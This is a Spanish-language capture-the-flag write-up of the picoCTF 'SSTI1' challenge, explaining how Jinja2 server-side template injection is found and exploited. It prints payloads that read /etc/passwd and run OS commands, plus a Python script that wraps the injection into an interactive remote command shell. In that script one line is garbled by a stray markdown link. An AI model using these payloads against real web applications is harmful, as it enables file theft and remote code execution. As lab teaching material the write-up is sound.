SSTI1 - PicoCTF

WRITE UP
Ejemplo: atlas:picoctf.net:51658 (víctima) TTL= 63 LINUX
ANÁLISIS WEB: RECONOCNIMIENTO
Dentro de la página tenemos un párrafo que nos habla acerca de que podemos publicar cosas, seguido de un campo para introducir texto y enviarlo.

Vamos a ver como reacciona la página ante un texto normal.

Nos lo refleja en la pantalla la salida.

POSIBLES VULNERABILIDADES
Si probamos con XSS (CROSS-SITE SCRIPTING) nos lo reflejara pero en esta máquina no hay cookies para robar (Cookie Hijacking), ni tampoco podemos hacer nada a nivel servidor.
<script>alert(0);</script>


WHATWEB
Haremos un reconocimiento a nivel web mediante whatweb para escanear tecnologías, lenguaje… de la página para ver por donde nos podemos aprovechar.
Usa Python por lo que en la mayoría de casos y si tenemos suerte, se puede acontecer un Server Side Template Injection - SSTI.
whatweb http://atlas:picoctf.net:51658/

Una búsqueda en Google sobre que es Werkzeug:

VULNERABILIDAD: SSTI (SERVER SIDE TEMPLATE INJECTION)
Viendo esto ya nos podemos ver cual va a ser el objetivo para explotar este challenge
PYTHON - JINJA2 | TEST
Para saber como injectar código y así mismo que payload usar, nos iremos a este repositorio de GitHub cual contiene Payloads de todo: PayloadsAllTheThings
Si vamos siguiendo el repositorio nos deja una serie de inyecciones cuales pueden que sea vulnerables dependiendo de nuestra necesidad, la nuestra ahora es probar si es vulnerable.
Probamos {{4*4}} , y si sale “16” quiere decir que es vulnerable.

Es vulnerable, efectivamente. Probamos con otro.

Probamos {{7*'7'}} , y tendría que salir “7777777”.

Se acontece la inyección, exitosamente. Esto ya nos dice que se trata de una plantilla Jinja2 o un motor compatible con este.

PYTHON - JINJA2 | READ REMOTE FILE
Ahora probaremos a intentar leer archivos a nivel sistema, cual sería muy crítico en caso que llegue a interpretarse.
Injectamos python {{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}
y nos debería leer el archivo /etc/passwd.

Nos lo lee exitosamente.

PYTHON - JINJA2 | REMOTE CODE EXECUTION (RCE)
Por último nos queda probar a ejecutar de forma remota comandos. Hay varios, así hay que ir probando.
Probamos con: (Este nos ejecutara el comando id)
python {{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

Nos ejecuta el comando y encima estamos como usuario root.

SCRIPT PYTHON: AUTOMATIZAR COMANDOS
Crearemos un script en Python para ejecutar comandos de forma más cómoda en nuestra shell, desde el servidor a nuestro máquina a nivel local.
Lo que necesitaremos es “CTRL + ALT + I” > Herramientas de Desarrollador > Network. Enviaremos la solicitud del Payload para ejecutar el comando nuevamente y en “announce” copiaremos la URL a cual se hace la Petición.

También la solicitud que es la data que vamos a enviar, la necesitamos también.

Resultado del script en Python:

Formato copiable:
#!/usr/bin/env python3
import requests
import re #Librería para el manejo de expresiones regulares
main_url = "http://rescued-float.picoctf.net:58464/announce" #Indicamos la URL principal
while True: #Bucle infinito
user_input = input("[~] > ") #Tenemos que indicar el comando que comandos queremos ejecutar, que ira dentro de nuestro user_input
data_post = { #Indicar la Data que por POST vamos a enviar
"content": '{{self.__init__.__globals__.__builtins__.__import__("os").popen("' + user_input + '").read()}}' #El campo content valdrá el Payload que le pongamos.| los + no hacen falta
}
#print(data_post) Ver lo que vale post_data | no hace falta, solo para testear lo que vamos a enviar
r = [requests.post](http://requests.post/)(main_url, data=data_post) #Lanzar la solicitud por POST al servidor (main_url) y a nivel data, enviar la data definida, por POST
response = re.findall(r'align="center">(.*)</h1>', r.text, re.DOTALL)[0] #Indicar una regex a contemplar para la respuesta del lado del servidor. Entre parentesis indicamos la cadena y entre corchetes el primer elemento. Por último el dotall para que tenga en cuenta todos los saltos de línea.
print(response) #Mostrar la respuesta por parte del servidor, en este caso de response
BANDERA
La bandera estará en la ruta actual.
cat flag
